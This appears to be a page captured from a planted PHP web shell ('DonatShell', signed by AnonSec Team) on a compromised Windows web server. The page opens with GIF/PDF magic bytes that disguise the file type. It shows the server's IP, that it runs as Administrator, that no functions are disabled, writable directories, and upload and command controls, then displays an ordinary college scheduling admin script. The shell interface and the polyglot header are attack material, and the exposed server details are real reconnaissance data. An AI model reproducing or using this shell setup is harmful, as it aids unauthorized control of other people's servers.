GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Waldo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Waldo/Waldo.phpinc
<?
// Admin/Waldo/Waldo.phpinc
// include_purpose.

$startdate = formValue('startdate');
$enddate = formValue('enddate');

$options = array('Hutchinson'=>'Hutchinson','Willmar'=>'Willmar','Off campus'=>'Off campus');
$days = array(1=>'Monday','Tuesday','Wednesday','Thursday','Friday');
$query = "
		SELECT sessionId,
					 YRTR,
					 sessionType,
					 sessionName,
					 sessionDescription,
					 sessionStart,
					 sessionEnd,
					 lastModified,
					 modifiedBy
			FROM `session`
		 WHERE YRTR = '".query_safe($_SESSION['YRTR']['User'])."'
";
$sessionUserResult = query_do($query);
$sessionUserCount = $_SESSION['qry']['count'];
if ($sessionUserCount) {
	mysqli_data_seek($sessionUserResult, 0);
	$sessionInfo = mysqli_fetch_assoc($sessionUserResult);
}

if (!in_array("ADMIN",$_SESSION['userPermissions'])) {
	include('../../nonadmin.phpinc');
} else {
	switch ($f_task) {
		case '':
		case 'Change session':
			break;
		case 'Cancel':
		case 'Done':
			headerLocation('/Admin/Waldo');
			break;
		case 'Update':
			include('schoolUpdate.phpinc');
			break;
		case 'Load Where\\\'s Waldo':
			include('waldoUpdate.phpinc');
			break;
		case 'Update Where\\\'s Waldo':
			include('userUpdate.phpinc');
			break;
		case '':
			break;
		case '':
			break;
		default:
			echo '<p class="bold">'.__FILE__.' <span class="error">Code for $f_task=['.$f_task.']</span>'.' <span class="error">$f_subtask=['.$f_subtask."] not finished.</p>\n"; setDebugOn(); include('common/pageFooter.phpinc');
	}
}

?>
<br><table class="center"><tr><td>
Select session:
<?
include('Admin/Session/SessionFilter.phpinc');
?>
</td></tr></table>
<?
$calendarUserId = $_SESSION['userId'];
include('Schedule/Schedule.phpinc');
?>
<form name="form_instructorCalendar" action="<?=php_self()?>" method="post">
<input type="hidden" name="f_form" value="form_instructorCalendar">
<input type="hidden" name="uuid" value="<?=uuid()?>">
<?
if ( count($InstructorCalendar) ) {
	include('waldoEdit.phpinc');
	include('waldoLoad.phpinc');
} else {
?>
<h2 class="center info">No Waldo information has been entered. Please pre-load Waldo.</h2>
<?
	include('waldoLoad.phpinc');
}
?>
</form>
<style type="text/css">
.none { color:black; }
</style>
<script>
function init() {
	checkLocations();
}
function checkLocations() {
	var selects = document.getElementsByTagName('select');
	var e;
	for( var i=0; i<selects.length; i++ ) {
		e = selects[i];
		var tid = e.id.split('_');
		console.log('tid='+tid);
		if ( tid[1] == 'location' ) checkLocation(e);
	}
}
function checkLocation(e) {
	console.log('checkLocation('+e.id+')');
	var tid = e.id.split('_');
	console.log('tid='+tid);
	var week = tid[2];
	console.log('week='+week);
	// Set option classes.
	if ( week == 1 ) e.className = 'error';
	if ( week == 2 ) e.className = 'warning';
	if ( e.options[0].value == '' ) {
		if ( week == 1 ) e.options[0].className = 'error';
		if ( week == 2 ) e.options[0].className = 'warning';
	}
	for ( var i=1; i<e.length; i++ ) {
		// alert(selectobject.options[i].text+" "+selectobject.options[i].value)
		e.options[i].className = 'none';
	}
	var val = e.options[e.selectedIndex].value; // Get current selected value.
	console.log('val='+val);
	if ( val == '' ) {
		if ( week == 1 ) e.className = 'error';
		if ( week == 2 ) e.className = 'warning';
	} else {
		e.className = 'info';
		e.options[e.selectedIndex].className = 'info';
		if ( e.options[0].value == '' ) {
			if ( week == 1 ) e.remove(0); // Remove the empty option.
			if ( week == 2 ) e.options[0].className = 'warning';
		}
	}
}
function CopyFromOdd() {
	var selects = document.getElementsByTagName('select');
	var e;
	for( var i=0; i<selects.length; i++ ) {
		e = selects[i];
		var tid = e.id.split('_');
		console.log('tid='+tid);
		if ( tid[1] == 'location' && tid[2] == 1 ) {
			document.getElementById('id_location_2_'+tid[3]).value = e.options[e.selectedIndex].value;
		}
	}
	checkLocations();
}
function SemesterClear() {
	document.getElementById('id_startdate').value = '';
	document.getElementById('id_enddate').value = '';
}
function SemesterFull() {
	document.getElementById('id_startdate').value = '<?=$sessionInfo['sessionStart']?>';
	document.getElementById('id_enddate').value = '<?=$sessionInfo['sessionEnd']?>';
}
</script>
<?

#setDebugOn(); d_On();
#d_Var('$sessionInfo',$sessionInfo);
#d_Var('$SchoolCalendar',$SchoolCalendar);
#d_Var('$calendaruserResult',$calendaruserResult);
#d_Var('$InstructorCalendar',$InstructorCalendar);
?>

Anon7 - 2022
AnonSec Team